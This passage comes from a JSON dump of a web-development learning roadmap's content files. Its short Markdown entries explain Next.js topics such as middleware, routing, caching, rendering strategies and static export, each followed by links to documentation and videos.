    "content": "# Markdown and MDX\n\nMarkdown is a lightweight markup language used to format text. It allows you to write using plain text syntax and convert it to structurally valid HTML. It's commonly used for writing content on websites and blogs. MDX is a superset of markdown that lets you write JSX directly in your markdown files. It is a powerful way to add dynamic interactivity and embed React components within your content.\n\nNext.js can support both local MDX content inside your application, as well as remote MDX files fetched dynamically on the server. The Next.js plugin handles transforming markdown and React components into HTML, including support for usage in Server Components (the default in App Router).\n\nVisit the following resources to learn more:\n\n- [@official@How to use markdown and MDX in Next.js](https://nextjs.org/docs/app/guides/mdx)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/memoization-in-fetch@UZCMVpg5YIDxu-AMah3S-.md",
    "content": "# Memoization in Fetch\n\nMemoization is an optimization technique that speeds up subsequent function calls by caching the results of previous calls with the same input parameters. This approach allows for re-use of data in a React Component tree, prevents redundant network calls and enhances performance\nFor the initial request, data is fetched from an external source and the result is stored in memory\nSubsequent requests for the same data within the same render pass retrieve the result from memory, bypassing the need to make the request again.\n\nVisit the following resources to learn more:\n\n- [@official@Request Memoization](https://nextjs.org/docs/app/guides/caching#request-memoization)\n- [@video@Next.js 14 Tutorial - vRequest Memoization](https://www.youtube.com/watch?v=tcLe3Xi0fJE)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/memory-usage@SI7KzNSLP0ccH_P94StGL.md",
    "content": "# Memory Usage\n\nAs applications grow and become more feature rich, they can demand more resources when developing locally or creating production builds. Next.js provides several strategies and techniques to optimize memory and address common memory issues in Next.js.\n\nVisit the following resources to learn more:\n\n- [@official@How to optimize memory usage](https://nextjs.org/docs/app/guides/memory-usage)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/metadata@45XMR5imHEDF_X8wcgjGW.md",
    "content": "# Metadata\n\nThe Metadata APIs can be used to define your application metadata for improved SEO and web shareability and include:\n\n* The static `metadata` object\n* The dynamic `generateMetadata` function\n* Special file conventions that can be used to add static or dynamically generated favicons and OG images.\n\nVisit the following resources to learn more:\n\n- [@official@Metadata and OG images](https://nextjs.org/docs/app/getting-started/metadata-and-og-images#static-open-graph-images)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/middelware@gpZNwsh075wl5eH2gLKro.md",
    "content": "# Middleware\n\nMiddleware is a powerful feature that allows you to intercept and run code on the server before a request is completed. Then, based on the incoming request, you can modify the response by rewriting, redirecting, modifying the request or response headers, or responding directly. Middleware executes before routes are rendered. It's particularly useful for implementing custom server-side logic like authentication, logging, or handling redirects.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/middleware)\n- [@official@Middleware for Pages Router](https://nextjs.org/docs/pages/api-reference/file-conventions/middleware)\n- [@video@Next.js 15 Tutorial - Middleware](https://www.youtube.com/watch?v=t1KTTZbqCm0)\n"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/nextjs-routing-basics@xRZqBd5-QO8zh7ksHlRjK.md",
    "content": "# Next.js Routing Basics\n\nRouting is the process of defining how an application responds to client requests to specific endpoints (URIs). In Next.js, routing is primarily file-system based. This means that the structure of your `pages` directory directly corresponds to the routes of your application. Each file in the `pages` directory becomes a route based on its filename. For example, a file named `about.js` in the `pages` directory will be accessible at the `/about` route.\n\nVisit the following resources to learn more:\n\n- [@official@https://nextjs.org/docs/pages/building-your-application/routing](https://nextjs.org/docs/pages/building-your-application/routing)\n- [@official@Defining Routes](https://nextjs.org/docs/14/app/building-your-application/routing/defining-routes)\n- [@video@Next.js 15 Routing Explained For Beginners](https://www.youtube.com/watch?v=qivq_vDYFGk)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/nextjs@uJrOHRLmEBZtHJzAAusUe.md",
    "content": "# Next.js\n\nNext.js is a React framework that provides extra features and optimizations on top of React for building web applications. It simplifies development by offering solutions for routing, data fetching, and server-side rendering out of the box. This allows developers to create performant and scalable web applications with less configuration.\n\nVisit the following resources to learn more:\n\n- [@official@Next.js](https://nextjs.org/)\n- [@article@Mastering Next.js](https://masteringnextjs.com)\n- [@video@Next.js Full course](https://www.youtube.com/watch?v=9P8mASSREYM)\n- [@video@Next.js for Beginners - freeCodeCamp](https://youtu.be/KjY94sAKLlw?si=orve81YcY8Fm2vDy)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/nodejs-server@Okw_IjU2iRSvSQVdKeeCo.md",
    "content": "# Node.js Server\n\nNext.js can be deployed to any provider that supports Node.js. You just have to build your application and start a Node.js server using simple commands. This server supports all Next.js features. If needed, you can also eject to a custom server. Node.js deployments support all Next.js features.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js Server](https://nextjs.org/docs/app/getting-started/deploying#nodejs-server)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/nodejs@0S37ka1K-TdYLnjCBrKSH.md",
    "content": "# Node.js\n\nNode.js is a JavaScript runtime environment that executes JavaScript code outside of a web browser. It allows developers to use JavaScript for server-side scripting and to build scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it efficient and well-suited for real-time applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit de Dedicated Node.js Roadmap](https://roadmap.sh/nodejs)\n- [@official@Node.js](https://nodejs.org/en/about/)\n- [@official@Edge Runtime](https://nextjs.org/docs/app/api-reference/edge)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/opentelemetry@mTh5PZNpzJNKPqpu5PVL6.md",
    "content": "# OpenTelemetry\n\nObservability is crucial for understanding and optimizing the behavior and performance of your Next.js app. With observability, developers can proactively address issues before they become major problems and provide a better user experience. \n\nNext.js recommends using OpenTelemetry for instrumenting your apps. It's a platform-agnostic way to instrument apps that allows you to change your observability provider without changing your code. Next.js supports OpenTelemetry instrumentation out of the box, which means that we already instrumented Next.js itself.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up instrumentation with OpenTelemetry](https://nextjs.org/docs/app/guides/open-telemetry)\n- [@official@OpenTelemetry Docs](https://opentelemetry.io/docs/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/package-bundling@qM_Za9NiCiCG5-kf5RCXF.md",
    "content": "# Package Bundling\n\nBundling external packages can significantly improve the performance of your application. By default, packages imported inside Server Components and Route Handlers are automatically bundled by Next.js for enhanced optimization.\n\nVisit the following resources to learn more:\n\n- [@official@How to optimize package bundling](https://nextjs.org/docs/app/guides/package-bundling)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/pages@htuyzi5_N-fqnx_SsO_DS.md",
    "content": "# Pages Router\n\nThe Pages Router in Next.js is a file-system based router built around the `pages` directory. Each file in the `pages` directory becomes a route based on its file name. For example, a file named `about.js` would create a route at `/about`. This approach simplifies routing by automatically mapping files to routes, making it easy to create and manage different pages within your application.\n\nVisit the following resources to learn more:\n\n- [@official@Pages Router](https://nextjs.org/docs/pages)\n- [@official@Pages Router Tutorial](https://nextjs.org/learn/pages-router)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/parallel-routes@2N_hm9Zx_Lp-RFEMP9HFb.md",
    "content": "# Parallel Routes\n\nParallel Routes allows you to simultaneously or conditionally render one or more pages within the same layout. They are useful for highly dynamic sections of an app, such as dashboards and feeds on social sites.\n\nVisit the following resources to learn more:\n\n- [@official@Parallel Routes](https://nextjs.org/docs/app/api-reference/file-conventions/parallel-routes)\n- [@video@Next.js 15 Tutorial - Parallel Routes](https://www.youtube.com/watch?v=697kNwfU-4M)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/parallel-vs-sequential@SjJQ7ceU6vBhlhrN8hcvy.md",
    "content": "# Parallel vs Sequential\n\nWhen fetching data inside React components, you need to be aware of two data fetching patterns: Parallel and Sequential. \n\nWith sequential data fetching, requests in a route are dependent on each other and therefore create waterfalls. There may be cases where you want this pattern because one fetch depends on the result of the other, or you want a condition to be satisfied before the next fetch to save resources. However, this behavior can also be unintentional and lead to longer loading times. \n\nWith parallel data fetching, requests in a route are eagerly initiated and will load data at the same time. This reduces client-server waterfalls and the total time it takes to load data.\n\nVisit the following resources to learn more:\n\n- [@official@Parallel and sequential data fetching](https://nextjs.org/docs/14/app/building-your-application/data-fetching/patterns#parallel-and-sequential-data-fetching)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/playwright@qFDdfOBdOlGMjTEOiiuTe.md",
    "content": "# Playwright \n\nNext.js supports Playwright for End-to-End (E2E) testing. Playwright is a testing framework that lets you automate Chromium, Firefox, and WebKit with a single API. You can use it to write E2E testing.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up Playwright with Next.js](https://nextjs.org/docs/app/guides/testing/playwright)\n- [@official@Playwright](https://playwright.dev/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/preloading-data@Ve1Pa7IhGHPZ_F-sCMcNb.md",
    "content": "# Preloading data\n\nAnother way to optimize data fetching is to use the preload pattern. You can optionally create a preload function to further optimize parallel data fetching. With this approach, you don't have to pass promises down as props. The preload function can also have any name as it's a pattern, not an API.\n\nVisit the following resources to learn more:\n\n- [@official@Preloading data](https://nextjs.org/docs/14/app/building-your-application/data-fetching/patterns#preloading-data)\n"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/preparing-for-production@-yiJSBIoczJHOW8YMdWFI.md",
    "content": "# Preparing for Production\n\nBefore taking Next.js application to production, there are some optimizations and patterns you should consider implementing for the best user experience, performance, and security. Next.js provides a list of best practices when building your application and before going to production. In addition, you should be aware of the automatic Next.js optimizations.\n\nVisit the following resources to learn more:\n\n- [@official@How to optimize your Next.js application for production](https://nextjs.org/docs/app/guides/production-checklist)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/prettier@efMytbUmw44M8dPL4ItsX.md",
    "content": "# Prettier\n\nPrettier is an opinionated code formatter that supports many languages, including JavaScript, TypeScript, and CSS. It automatically formats your code to adhere to a consistent style, ensuring readability and maintainability across your project. \n\nThe ESLint Plugin contains code formatting rules, which may conflict with your existing Prettier setup. To make ESLint and Prettier work together, you can include `eslint-config-prettier` in your ESLint config.\n\nVisit the following resources to learn more:\n\n- [@official@ESLint Plugin with Prettier](https://nextjs.org/docs/app/api-reference/config/eslint#with-prettier)\n- [@opensource@eslint-config-prettier](https://github.com/prettier/eslint-config-prettier)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/react-cache@crBlqiS78n7yz28cT2GGz.md",
    "content": "# React Cache function\n\nThe React `cache` function allows you to memoize the return value of a function, allowing you to call the same function multiple times while only executing it once.\n\n`fetch` requests using the `GET` or `HEAD` methods are automatically memoized, so you do not need to wrap it in React `cache`. However, for other `fetch` methods, or when using data fetching libraries (such as some database, CMS, or GraphQL clients) that don't inherently memoize requests, you can use `cache` to manually memoize data requests.\n\nVisit the following resources to learn more:\n\n- [@official@React cache function](https://nextjs.org/docs/app/guides/caching#react-cache-function)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/react-frameworks@FdvaN6BOxUEJt7TarSDmo.md",
    "content": "# React Frameworks\n\nReact frameworks provide structure and tools to streamline the development of React applications. They offer solutions for common challenges like routing, data fetching, state management, and build processes, allowing developers to focus on building features rather than configuring infrastructure. These frameworks often include pre-built components, optimized performance configurations, and conventions that promote code organization and maintainability.\n\nVisit the following resources to learn more:\n\n- [@article@Comparing The Top React Frameworks](https://dev.to/surajondev/comparing-the-top-cra-alternatives-9cg)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/reditects@K1wGmAy9L0VE6cwYE2pA6.md",
    "content": "# Redirects in Next.js API Endpoints\n\nRedirects in Next.js API endpoints allow you to send a user from one URL to another. This is useful for various scenarios, such as moving or renaming pages, handling temporary content changes, or guiding users to a different part of your application based on specific conditions. By sending an HTTP redirect response, the server instructs the client's browser to navigate to the new URL.\n\nVisit the following resources to learn more:\n\n- [@official@How to handle redirects in Next.js for App Router](https://nextjs.org/docs/app/guides/redirecting)\n- [@official@redirectHow to handle redirects in Next.js for Pages Router](https://nextjs.org/docs/pages/guides/redirecting)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/remix@G_33yo1MshQbiaGTPtTdK.md",
    "content": "# Remix\n\nRemix is a full-stack web framework that focuses on web standards and modern web development patterns. It emphasizes server-side rendering and progressive enhancement to deliver fast and resilient user experiences. Remix leverages web fundamentals like HTTP caching and distributed systems to build robust and performant web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Remix](https://remix.run/)\n- [@official@Remix Docs](https://v2.remix.run/docs/)\n- [@video@Remix Crash Course 2023](https://www.youtube.com/watch?v=RBYJTop1e-g)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/rendering-pages@IlWFMh44HtHDnIr7nqwtI.md",
    "content": "# Rendering Pages in Next.js\n\nRendering refers to the process of converting your code into HTML that can be displayed in a web browser. Next.js offers different strategies for this, including server-side rendering (SSR), static site generation (SSG), incremental static regeneration (ISR), and client-side rendering (CSR). Each method determines when and where the HTML is generated, impacting performance, SEO, and interactivity. Choosing the right rendering strategy depends on the specific needs of each page in your application.\n\nRecently, Next.js has launched a partial prerendering feature, that allows you to combine static and dynamic content in the same route. This improves the initial page performance while still supporting personalized, dynamic data. However, this feature is currently experimental and subject to change, it's not recommended for production.\n\nVisit the following resources to learn more:\n\n- [@official@Rendering Strategies](https://nextjs.org/learn/seo/rendering-strategies)\n- [@official@Partial Prerendering](https://nextjs.org/docs/app/getting-started/partial-prerendering)\n- [@official@Rendering User Interfaces (UI)](https://nextjs.org/learn/react-foundations/rendering-ui)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/rendering-strategies@1ch6ZXZP46FP8q3HeCqWM.md",
    "content": "# Rendering Strategies\n\nRendering strategies determine how your application's user interface is generated and delivered to the user's browser. Different strategies offer varying trade-offs between performance, SEO, and data freshness. Choosing the right rendering strategy is crucial for optimizing your application based on its specific requirements and content characteristics.\n\nVisit the following resources to learn more:\n\n- [@official@Rendering Strategies](https://nextjs.org/learn/seo/rendering-strategies)\n- [@official@How to build single-page applications with Next.js](https://nextjs.org/docs/app/guides/single-page-applications)\n- [@article@Next.js Rendering Strategies: SSR, SSG, and ISR Compared](https://hybridheroes.de/blog/2023-05-31-next-js-rendering-strategies/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/revalidating-cached-data@N5siOJO3dc9vJUTpbdm04.md",
    "content": "# Revalidating Cached Data\n\nRevalidation is the process of updating cached data. When you cache data, it's stored for a certain period. After that period, or based on specific events, you might want to refresh the data to ensure your application displays the most up-to-date information. Revalidation allows you to control when and how your cached data is updated, balancing performance with data freshness. Revalidating in Next.js is conducted through the `revalidatePath` and `revalidateTag` functions.\n\nVisit the following resources to learn more:\n\n- [@official@Revalidating](https://nextjs.org/docs/app/guides/caching#revalidating-1)\n- [@official@Caching and Revalidating](https://nextjs.org/docs/app/getting-started/caching-and-revalidating#revalidatetag)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/revalidation-errors@qMYuXOlr_c-6oQKVOdGci.md",
    "content": "# Revalidation Errors\n\nWhen revalidation fails, it means the attempt to refresh the cached data encountered an issue, preventing the application from displaying the most up-to-date information. These errors can stem from various sources, such as network connectivity problems, issues with the data source itself (e.g., a database being unavailable), or problems within the revalidation logic. In Next.js, If an error is thrown while attempting to revalidate data, the last successfully generated data will continue to be served from the cache. On the next subsequent request, Next.js will retry revalidating the data.\n\nVisit the following resources to learn more:\n\n- [@official@Error handling and revalidation](https://nextjs.org/docs/14/app/building-your-application/data-fetching/fetching-caching-and-revalidating)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/route-matcher@Sn-8ztsjjtUxD_SP6w3cS.md",
    "content": "# Route Matcher\n\nA route matcher in Next.js middleware allows you to conditionally execute middleware based on the incoming request's path. It defines specific patterns or conditions that the request path must satisfy for the middleware to run. This enables you to apply middleware logic only to certain routes or groups of routes within your application, providing fine-grained control over request handling.\n\nVisit the following resources to learn more:\n\n- [@official@Matcher for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/middleware#matcher)\n- [@official@Matcher for Pages Router](https://nextjs.org/docs/pages/api-reference/file-conventions/middleware#matcher)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/routing-patterns@09uWsmXOXU0Ox7F3qsjRx.md",
    "content": "# Routing Patterns\n\nThe App Router provides a set of conventions to help you implement more advanced routing patterns. These include:\n\n* Parallel Routes: Allow you to simultaneously show two or more pages in the same view that can be navigated independently.\n* Intercepting Routes: Allow you to intercept a route and show it in the context of another route. \n\nThese patterns allow you to build richer and more complex UIs, democratizing features that were historically complex for small teams and individual developers to implement.\n\nVisit the following resources to learn more:\n\n- [@official@Advanced Routing Patterns](https://nextjs.org/docs/13/app/building-your-application/routing#advanced-routing-patterns)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/routing-terminology@oFhmV5Xv0KJ-SjeYVZBpi.md",
    "content": "# Routing Terminology in Next.js\n\nIn Next.js, routing is primarily handled through the `app` directory (introduced in Next.js 13) and the older `pages` directory. Key terms include:\n\n*   **Route:** A specific URL path that maps to a particular component or page. For example, `/blog/my-first-post`.\n\n*   **Route Segment:** A part of the URL path. In `/blog/my-first-post`, `blog` and `my-first-post` are route segments.\n\n*   **File-System Routing:** Next.js uses a file-system based router. The structure of your directories and files within the `app` or `pages` directory directly defines your application's routes.\n\n*   **Dynamic Routes:** Routes that include parameters, allowing you to create pages based on data. For example, `/blog/[slug]` where `[slug]` is a dynamic parameter.\n\n*   **Index Route:** The route that is served when a user visits a directory. Typically represented by an `index.js` or `page.js` file within a directory.\n\n*   **Layout:** A component that wraps multiple pages, providing a consistent UI structure (like headers and footers) across different routes.\n\n*   **Link Component:** The `<Link>` component from `next/link` is used for client-side navigation between routes, providing better performance than traditional `<a>` tags.\n\nVisit the following resources to learn more:\n\n- [@official@Project structure and organization](https://nextjs.org/docs/app/getting-started/project-structure)\n- [@video@Next.js 15 Tutorial - Routing](https://www.youtube.com/watch?v=9602Yzvd7i)\n- [@video@Next.js 15 Tutorial - Nested Routes](https://www.youtube.com/watch?v=H7JjKjkC33c)\n- [@video@Next.js 15 Tutorial - Dynamic Routes](https://www.youtube.com/watch?v=k9g6aVLH3p4)\n- [@video@Next.js 15 Tutorial - Nested Dynamic Routes](https://www.youtube.com/watch?v=edrJf0GKfAI)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/runtimes-and-types@LN7SHgcQp9gX_jfEN84YP.md",
    "content": "# Runtimes and Types\n\nIn the context of Next.js, runtime refers to the set of libraries, APIs, and general functionality available to your code during execution. On the server, there are two runtimes where parts of your application code can be rendered:\n\n* The Node.js Runtime (default), which has access to all Node.js APIs and is used for rendering your application.\n* The Edge Runtime which contains a more limited set of APIs, used in Middleware.\n\nVisit the following resources to learn more:\n\n- [@official@https://nextjs.org/docs/app/api-reference/edge](https://nextjs.org/docs/app/api-reference/edge)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/sass@5H7toz-DxtnwjozCgLuk6.md",
    "content": "# Sass in Next.js\n\nSass (Syntactically Awesome Style Sheets) is a CSS preprocessor that extends the capabilities of standard CSS. It allows you to use features like variables, nesting, mixins, and functions to write more organized, maintainable, and efficient stylesheets. These features are then compiled into standard CSS that browsers can understand.\n\nNext.js has built-in support for integrating with Sass after the package is installed using both the `.scss` and `.sass` extensions. You can use component-level Sass via CSS Modules and the `.module.scss` or `.module.sass` extension.\n\nVisit the following resources to learn more:\n\n- [@official@Sass](https://sass-lang.com/)\n- [@opensource@Sass](https://github.com/sass/sass)\n- [@article@How to use Sass in Next.js](https://nextjs.org/docs/app/guides/sass)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/scripts@JFrpy3dGt-UP9Weo1VBvN.md",
    "content": "# Third-Party Scripts\n\nThird-party scripts are code snippets from external sources that add functionality to your website, such as analytics, advertising, or social media widgets. Next.js allows you to load a third-party script for multiple routes through the `next/script` component, optimizing performance and enhancing control over when and how scripts are executed within your application.\n\n\n\n\nThese scripts can impact your website's performance because they often require downloading and executing code from external servers. Managing these scripts effectively is crucial for maintaining a fast and responsive user experience.\n\nVisit the following resources to learn more:\n\n- [@official@How to load and optimize scripts](https://nextjs.org/docs/app/guides/scripts)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/server-actions@IuBZY-ISP1Sy_5OQ99jLY.md",
    "content": "# Server Functions\n\nServer Functions are asynchronous functions that are executed on the server. They can be used in Server and Client Components to handle form submissions and data mutations in Next.js applications. In an `action` or mutation context, they are also called Server Actions.\n\nVisit the following resources to learn more:\n\n- [@official@What are Server Functions?](https://nextjs.org/docs/app/getting-started/updating-data)\n- [@video@Next.js Server Actions](https://www.youtube.com/watch?v=gQ2bVQPFS4U)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/server-rendered@m7eKlykOZCA3BLuBHioDj.md",
    "content": "# Server-Side Rendering (SSR)\n\nServer-Side Rendering (SSR) is a technique where a web application's initial HTML is generated on the server in response to a user's request. This pre-rendered HTML is then sent to the client's browser, allowing the user to see the content immediately, even before the JavaScript code is fully executed. This approach contrasts with client-side rendering, where the browser downloads a minimal HTML page and then uses JavaScript to render the content.\n\nVisit the following resources to learn more:\n\n- [@official@Server and Client Components for App Router](https://nextjs.org/docs/app/getting-started/server-and-client-components#when-to-use-server-and-client-components)\n- [@official@Server-side Rendering (SSR) for App Router](https://nextjs.org/docs/pages/building-your-application/rendering/server-side-rendering)\n- [@official@Server Components](https://nextjs.org/docs/14/app/building-your-application/rendering/server-components)\n- [@video@Next.js 15 Tutorial - Server and Client Components](https://www.youtube.com/watch?v=dMCSiA5gzkU)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/server@QDxYlIyFOuGUIy_ZovHs0.md",
    "content": "# Server-Side Data Fetching for Locations\n\nFetching data on the server in Next.js allows you to retrieve location information before the page is rendered. This approach improves performance by reducing the amount of work the client's browser needs to do, leading to faster initial page loads and better SEO. Server-side data fetching ensures that the data is available when the page is initially rendered, providing a seamless user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Client-side Fetching](https://nextjs.org/docs/app/getting-started/fetching-data#server-components)\n- [@video@Next.js 15 Tutorial - Fetching Data in Server Components](https://www.youtube.com/watch?v=WKfPctdIDek)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/setting-headers@XwDF-Kt9K5smm3ruxlkR2.md",
    "content": "# Setting Headers in Next.js Middleware\n\nMiddleware in Next.js allows you to run code before a request is completed. Setting headers within middleware enables you to modify the HTTP response headers, controlling aspects like caching, security policies, or custom information passed to the client. This provides a flexible way to manage response behavior based on incoming requests.\n\nVisit the following resources to learn more:\n\n- [@official@Setting Headers for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/middleware#setting-headers)\n- [@official@Setting Headers for Pages Router](https://nextjs.org/docs/pages/api-reference/file-conventions/middleware#setting-headers)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/setting-things-up@ThrO72opK7xGWpy0GG63T.md",
    "content": "# Setting Things Up\n\nNext.js allows you to customize your project to meet specific requirements. This includes integrations with TypeScript, ESlint, and more, as well as internal configuration options such as Absolute Imports and Environment Variables.\n\nVisit the following resources to learn more:\n\n- [@official@Configuration](https://nextjs.org/docs/app/api-reference/config)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/spa-vs-ssr@ch5gUr8xeCIp-i48N5qew.md",
    "content": "# SPA vs SSR\n\nSingle-Page Applications (SPAs) load a single HTML page and dynamically update the content using JavaScript, providing a fluid user experience without full page reloads. Server-Side Rendering (SSR), on the other hand, generates the HTML on the server for each request, sending a fully rendered page to the client. Next.js allows you to choose between these approaches or even combine them, offering flexibility in optimizing for performance, SEO, and user experience.\n\nVisit the following resources to learn more:\n\n- [@official@How to build single-page applications with Next.js](https://nextjs.org/docs/app/guides/single-page-applications)\n- [@official@Server-side Rendering (SSR)](https://nextjs.org/docs/pages/building-your-application/rendering/server-side-rendering)\n- [@article@https://dev.to/santhanam87/ssr-vs-spa-showdown-choosing-the-right-rendering-approach-for-your-web-app-4439](https://dev.to/santhanam87/ssr-vs-spa-showdown-choosing-the-right-rendering-approach-for-your-web-app-4439)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/spa@NC7s-EOLWhjXR70JFZxcg.md",
    "content": "# Single-Page Application (SPA) Rendering\n\nA Single-Page Application (SPA) is a web application that loads a single HTML page and dynamically updates that page as the user interacts with the application. This is achieved by using JavaScript to manipulate the DOM (Document Object Model) directly, rather than requesting new HTML pages from the server for each interaction. This approach provides a more fluid and responsive user experience, as the browser doesn't need to reload the entire page for every change.\n\nVisit the following resources to learn more:\n\n- [@official@https://nextjs.org/docs/app/guides/single-page-applications](https://nextjs.org/docs/app/guides/single-page-applications)\n- [@article@Single-page application](https://en.wikipedia.org/wiki/Single-page_application)\n- [@article@Building Single-Page Applications (SPAs) with React and Next.js](https://medium.com/@blog.iroidsolutions/building-single-page-applications-spas-with-react-and-next-js-c8e02d806145)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/ssg@CqPZHOs1Iew6PCIjwiqUt.md",
    "content": "# Static Site Generation (SSG)\n\nStatic Site Generation (SSG) is a rendering method that generates HTML pages at build time. This means that when a user requests a page, the server sends a pre-rendered HTML file, rather than dynamically generating it on each request. This approach leads to faster load times and improved SEO, as search engines can easily crawl and index the static content.\n\nVisit the following resources to learn more:\n\n- [@official@Static Site Generation (SSG)](https://nextjs.org/docs/pages/building-your-application/rendering/static-site-generation)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/ssr@7EYQnX3cEAjSL-iJSprEI.md",
    "content": "# Server-Side Rendering (SSR)\n\nServer-Side Rendering (SSR) is a technique where a web application's HTML is generated on the server in response to each user request. The server then sends the fully rendered HTML to the client's browser, which displays it. This differs from client-side rendering, where the browser downloads a minimal HTML page and then uses JavaScript to render the content.\n\nVisit the following resources to learn more:\n\n- [@official@Server-side Rendering (SSR)](https://nextjs.org/docs/pages/building-your-application/rendering/server-side-rendering)\n- [@article@What is Server-Side Rendering: Definition, Benefits and Risks](https://solutionshub.epam.com/blog/post/what-is-server-side-rendering)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/static-assets@iabbuLHqAiRkgj03t64x7.md",
    "content": "# Static Assets\n\nStatic content is any file that is stored in a server and is the same every time it is delivered to users. HTML files and images are examples of this kind of content. Next.js can serve static files under a folder called `public` in the root directory. Files inside `public` can then be referenced by your code starting from the base URL (`/`). It's important to note that Next.js cannot safely cache assets in the public folder because they may change.\n\nVisit the following resources to learn more:\n\n- [@official@public Folder](https://nextjs.org/docs/app/api-reference/file-conventions/public-folder)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/static-export@evmzZ6F7TWgYhdaahnZHY.md",
    "content": "# Static Export\n\nNext.js enables starting as a static site or Single-Page Application (SPA), then later optionally upgrading to use features that require a server. Since Next.js supports static exports, it can be deployed and hosted on any web server that can serve HTML/CSS/JS static assets. This includes tools like AWS S3, Nginx, or Apache.\n\nRunning as a static export does not support Next.js features that require a server.\n\nVisit the following resources to learn more:\n\n- [@official@Static Export Deployment](https://nextjs.org/docs/app/getting-started/deploying#static-export)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/static-vs-dynamic@hQHvu7MzNwA2lL9ADm5YQ.md",
    "content": "# Static vs Dynamic API Endpoints\n\nAPI endpoints in Next.js allow you to create serverless functions that handle requests. These endpoints can be either static or dynamic, depending on how their routes are defined and how they process data. Static API endpoints have predefined routes and typically return the same response for every request, while dynamic API endpoints use parameters in their routes to handle different requests and generate responses based on those parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Route Handlers and Middleware](https://nextjs.org/docs/app/getting-started/route-handlers-and-middleware)\n- [@official@Dynamic API Routes for Pages Routers](https://nextjs.org/docs/pages/building-your-application/routing/api-routes#dynamic-api-routes)\n- [@official@Building APIs with Next.js](https://nextjs.org/blog/building-apis-with-nextjs#12-app-router-vs-pages-router)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/streaming@lR7oPh0DCY_BhzXH31N36.md",
    "content": "# Streaming in Next.js API Endpoints\n\nStreaming in Next.js API endpoints allows you to send data to the client in chunks, rather than waiting for the entire response to be generated on the server before sending anything. This can significantly improve perceived performance, especially for long-running processes or when dealing with large datasets. By sending data incrementally, the client can start processing and displaying information sooner, leading to a more responsive user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Streaming](https://nextjs.org/docs/app/api-reference/file-conventions/route#streaming)\n- [@official@Streaming responses](https://nextjs.org/docs/pages/building-your-application/routing/api-routes#streaming-responses)\n- [@video@Next.js 15 Tutorial - Streaming](https://www.youtube.com/watch?v=oSf1gUDGJOA)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/structuring-routes@9egFwmy-o7Fx-M7FcPXXy.md",
    "content": "# Structuring Routes\n\nStructuring routes in Next.js involves organizing your project's file system to define the different URLs (or routes) of your application. Each file within the `app` directory (or `pages` directory in older versions) corresponds to a specific route. The file's location and name directly determine the URL path that users will access. This file-system-based routing simplifies navigation and makes it easy to create a well-organized web application.\n\nVisit the following resources to learn more:\n\n- [@official@Project structure and organization for App Router](https://nextjs.org/docs/app/getting-started/project-structure)\n- [@official@Project Structure and Organization for Pages Router](https://nextjs.org/docs/pages/getting-started/project-structure)\n- [@video@Next.js 15 Tutorial - Project Structure](https://www.youtube.com/watch?v=L0g87N0piT0)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/tailwind-css@3IKXvlA9P06GiOi34zv5H.md",
